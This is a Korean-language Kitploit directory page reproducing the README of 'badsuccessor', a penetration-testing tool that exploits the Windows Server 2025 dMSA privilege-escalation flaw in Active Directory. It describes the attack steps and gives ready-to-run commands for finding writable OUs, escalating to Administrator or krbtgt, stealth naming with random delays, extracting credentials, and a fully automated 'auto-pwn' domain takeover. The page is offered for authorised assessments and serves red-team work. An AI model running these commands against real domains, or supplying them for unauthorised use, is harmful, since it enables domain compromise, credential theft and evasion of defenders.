Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
badsuccessor — Windows Server 2025 dMSA 권한 상승 취약점을 악용하여 쓰기 가능한 OU를 열거하고, 임의의 도메인 사용자로 권한을 상승시키며, 자격 증명을 추출하고, 인가된 AD 보안 평가에서 도메인 장악을 가능하게 합니다. | Kitploit
도구/GitHubGitHub/cybrly/badsuccessor
Privilege EscalationReconnaissancePersistence MechanismsExploitationLateral MovementInformation GatheringPost-ExploitationPenetration TestingRed TeamingAdversarial Attack
GitHub
12220201년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
cybrly/badsuccessor

badsuccessor

Windows Server 2025 dMSA 권한 상승 취약점을 악용하여 쓰기 가능한 OU를 열거하고, 임의의 도메인 사용자로 권한을 상승시키며, 자격 증명을 추출하고, 인가된 AD 보안 평가에서 도메인 장악을 가능하게 합니다.

저장소 보기

BadSuccessor.py

Windows Server 2025 Active Directory 환경에서 dMSA(위임 관리 서비스 계정) 권한 상승 취약점을 악용하는 침투 테스트 도구입니다.

⚠️ 법적 고지

이 도구는 승인된 침투 테스트 및 보안 연구 목적으로만 사용해야 합니다. 명시적인 서면 허가 없이 시스템에 이 도구를 사용하는 것은 불법이며 비윤리적입니다. 저자는 이 도구의 오용이나 피해에 대해 책임지지 않습니다.

⚠️ 개발 상태 및 환경 테스트 고지

중요: 이 도구는 활발히 개발 및 테스트 중입니다.

현재 상태

  • Windows Server 2025 도입: 2025년 5월 현재, Windows Server 2025는 아직 초기 도입 단계에 있으며 프로덕션 배포가 제한적입니다.
  • 환경 변이: 테스트에 사용할 수 있는 Windows Server 2025 환경이 제한적이므로, 이 도구는 테스트되지 않은 구성과 마주칠 수 있습니다.
  • 지속적인 개발: 더 많은 환경 변이가 배포되고 테스트됨에 따라 도구를 적극적으로 개선하고 있습니다.

의미하는 바

  • 업데이트 예정: 새 환경 유형이 테스트됨에 따라 도구는 빈번하게 업데이트됩니다.
  • 이슈 보고: 여러분의 피드백은 매우 중요합니다. 발견한 문제나 엣지 케이스를 보고해 주세요.
  • 주의 깊은 테스트: 먼저 항상 비프로덕션 환경에서 테스트하세요.
  • 스키마 변이: Windows Server 2025 빌드에 따라 dMSA 속성이 다르게 구현될 수 있습니다.
  • 기능 안정성: 핵심 기능은 안정적이지만 일부 기능은 특정 환경에 맞게 조정이 필요할 수 있습니다.

추적 중인 알려진 변수

  • 다양한 Windows Server 2025 빌드 버전
  • 스키마 속성 명명 규칙
  • 지역별/현지화된 AD 구현
  • 하이브리드 클라우드 구성
  • 다양한 AD 기능 수준
  • 다양한 보안 강화 구성

커뮤니티 테스트

보안 커뮤니티의 다음 활동을 권장합니다:

  • 다양한 환경에서 테스트
  • 발견 사항 공유(민감 정보 제거 후)
  • 호환성 개선을 위한 풀 리퀘스트 제출
  • 환경 변이 보고

이 도구를 사용함으로써, 귀하는 이 도구가 활발히 개발 중이며 특정 환경에 맞게 수정이 필요할 수 있음을 인정합니다.

📋 개요

BadSuccessor는 Windows Server 2025의 위임 관리 서비스 계정(dMSA) 기능에서 권한 상승 취약점을 악용합니다. 이 취약점을 통해 최소 권한을 가진 공격자는 도메인 관리자를 포함한 도메인의 모든 사용자로 권한을 상승시킬 수 있습니다.

연구 크레딧

이 도구는 Akamai Technologies의 Yuval Gordon의 훌륭한 연구를 기반으로 합니다:

  • BadSuccessor: dMSA를 남용하여 Active Directory에서 권한 상승

🎯 취약점 세부 정보

이 취약점은 dMSA 마이그레이션 프로세스에 존재하며, 다음과 같은 단계로 진행됩니다:

  1. 공격자는 쓰기 가능한 OU에 악성 dMSA를 생성합니다.
  2. msDS-ManagedAccountPrecededByLink 또는 ms-DS-Managed-Account-Preceded-By-Link를 대상 사용자를 가리키도록 설정합니다.
  3. msDS-DelegatedMSAState 또는 ms-DS-Delegated-MSA-State를 2(마이그레이션 완료)로 설정합니다.
  4. KDC는 PAC 상속을 통해 dMSA에 대상 사용자의 모든 권한을 자동으로 부여합니다.

또한 KERB-DMSA-KEY-PACKAGE 구조에는 대상 사용자의 암호 키가 포함되어 있어 자격 증명 추출이 가능합니다.

✅ 사전 요구 사항

시스템 요구 사항

  • Linux 머신(도메인 미가입)
  • Python 3.6+
  • 대상 Active Directory 환경에 대한 네트워크 접근
  • 대상 도메인에는 최소 하나의 Windows Server 2025 도메인 컨트롤러가 있어야 합니다.

Python 종속성```bash

pip3 install ldap3 pyasn1 pycryptodome pip3 install impacket==0.12.0

**참고**: 이 도구는 impacket 0.12.0으로 테스트되었습니다. 런타임에 버전 호환성 경고가 표시됩니다.

### 선택적 종속성```bash
# For DNS discovery
pip3 install dnspython

# For enhanced Kerberos support (system packages)
# Ubuntu/Debian
sudo apt-get install libkrb5-dev libgssapi-krb5-2

# RHEL/CentOS/Fedora
sudo yum install krb5-devel

필수 권한

  • 유효한 도메인 자격 증명(모든 사용자 계정)
  • 하나 이상의 조직 구성 단위(OU)에 대해 다음 권한 중 하나:
    • CreateChild 권한
    • Write 권한
    • GenericWrite 권한
    • GenericAll 권한
    • 쓰기 액세스 권한이 있는 기본 그룹의 구성원(예: Authenticated Users)
  • 도구는 쓰기 가능한 모든 OU를 자동으로 검색하고 특정 권한을 표시합니다.

🚀 설치```bash

git clone https://github.com/cybrly/badsuccessor.git cd badsuccessor pip3 install -r requirements.txt chmod +x badsuccessor.py

### requirements.txt```
ldap3>=2.9.1
pyasn1>=0.4.8
pycryptodome>=3.15.0
impacket==0.12.0
dnspython>=2.1.0

📖 사용법

기본 구문```bash

python3 badsuccessor.py -d -u -p [options]

### 빠른 시작 예제

#### 1. 드라이 런 모드 (NEW) - 변경 사항 없이 테스트```bash
# Simulate attack to verify viability
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator

# Dry run with specific OU
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator --ou-dn "OU=ServiceAccounts,DC=corp,DC=local"

2. 환경 열거```bash

Check Windows Server 2025 schema support

python3 badsuccessor.py -d corp.local -u john -p Password123 --check-schema

Find ALL writable OUs with detailed permissions

python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate

List high-value targets

python3 badsuccessor.py -d corp.local -u john -p Password123 --list-targets

Validate specific target account

python3 badsuccessor.py -d corp.local -u john -p Password123 --validate-target Administrator

#### 3. 공격 수행```bash
# Basic attack against Administrator
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator

# Stealth mode with innocuous naming
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator --stealth --random-delay 30

# Attack with custom dMSA attributes
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target krbtgt \
  --dmsa-name legit_service --dmsa-description "Legitimate Service Account" \
  --dmsa-display-name "Production Service"

# Attack with custom naming pattern
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
  --dmsa-pattern "svc{random}prod"

자격 증명 추출```bash

Extract credentials for multiple users

python3 badsuccessor.py -d corp.local -u john -p Password123 --extract-creds --targets Administrator,krbtgt,svc_sql

Auto-pwn mode (fully automated)

python3 badsuccessor.py -d corp.local -u john -p Password123 --auto-pwn

#### 5. 세션 관리 (신규)```bash
# List all sessions
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions

# Resume a previous session
python3 badsuccessor.py -d corp.local -u john -p Password123 --session-id corp.local_john_1234567890_abcd1234

# Clean up all dMSAs from a session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-session SESSION_ID

# Clean up all dMSAs from current session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-all

6. 결과 내보내기 (신규)```bash

Export enumeration results to JSON

python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-json results.json

Export to CSV

python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-csv writable_ous.csv

Generate HTML report

python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-html report.html

Combined operation with exports

python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator
--export-json attack_results.json --export-html attack_report.html

### 명령줄 옵션

#### 인증 인자
| 옵션 | 설명 |
|--------|-------------|
| `-d, --domain` | 대상 도메인 (예: corp.local) **[필수]** |
| `-u, --username` | 인증용 사용자 이름 **[필수]** |
| `-p, --password` | 인증용 비밀번호 |
| `--dc-ip` | 도메인 컨트롤러 IP (생략 시 자동 탐지) |
| `--ldaps` | 포트 636에서 LDAPS(SSL) 연결 강제 |

#### 공격 모드
| 옵션 | 설명 |
|--------|-------------|
| `--attack` | BadSuccessor 공격 수행 |
| `--dry-run` | **신규**: 변경 사항 없이 공격 시뮬레이션 |
| `--extract-creds` | 키 패키지를 사용하여 자격 증명 추출 |
| `--auto-pwn` | 완전 자동 도메인 탈취 |

#### 대상 지정
| 옵션 | 설명 |
|--------|-------------|
| `--target` | 권한을 상승시킬 대상 사용자 |
| `--targets` | 자격 증명 추출을 위한 쉼표로 구분된 사용자 목록 |
| `--validate-target` | **신규**: 공격 없이 대상 계정 검증 |

#### dMSA 구성
| 옵션 | 설명 |
|--------|-------------|
| `--dmsa-name` | 악성 dMSA 이름 (지정하지 않으면 자동 생성) |
| `--dmsa-pattern` | **신규**: dMSA 명명 패턴 (예: "svc{random}{target}") |
| `--ou-dn` | 사용할 특정 OU DN (지정하지 않으면 자동 감지) |
| `--dmsa-description` | **신규**: 생성된 dMSA에 대한 설명 |
| `--dmsa-display-name` | **신규**: 생성된 dMSA의 표시 이름 |

#### 열거 옵션
| 옵션 | 설명 |
|--------|-------------|
| `--enumerate` | 쓰기 권한이 있는 OU 열거 |
| `--list-targets` | 고가치 대상 목록 표시 |
| `--check-schema` | Windows Server 2025 스키마 확인 |

#### 세션 관리 (신규)
| 옵션 | 설명 |
|--------|-------------|
| `--session-id` | 기존 세션 재개 |
| `--list-sessions` | 사용 가능한 모든 세션 나열 |
| `--cleanup-session SESSION_ID` | 세션에서 모든 dMSA 정리 |

#### 정리 옵션
| 옵션 | 설명 |
|--------|-------------|
| `--cleanup` | 생성된 dMSA 제거 |
| `--dmsa-dn` | 정리 작업을 위한 dMSA DN |
| `--cleanup-all` | **신규**: 현재 세션에서 모든 dMSA 정리 |

#### 출력 옵션
| 옵션 | 설명 |
|--------|-------------|
| `--export-json FILE` | **신규**: 결과를 JSON 파일로 내보내기 |
| `--export-csv FILE` | **신규**: 결과를 CSV 파일로 내보내기 |
| `--export-html FILE` | **신규**: HTML 보고서 생성 |
| `--no-banner` | 배너 출력 숨기기 |
| `--verbose` | 자세한 출력 활성화 |
도구 다운로드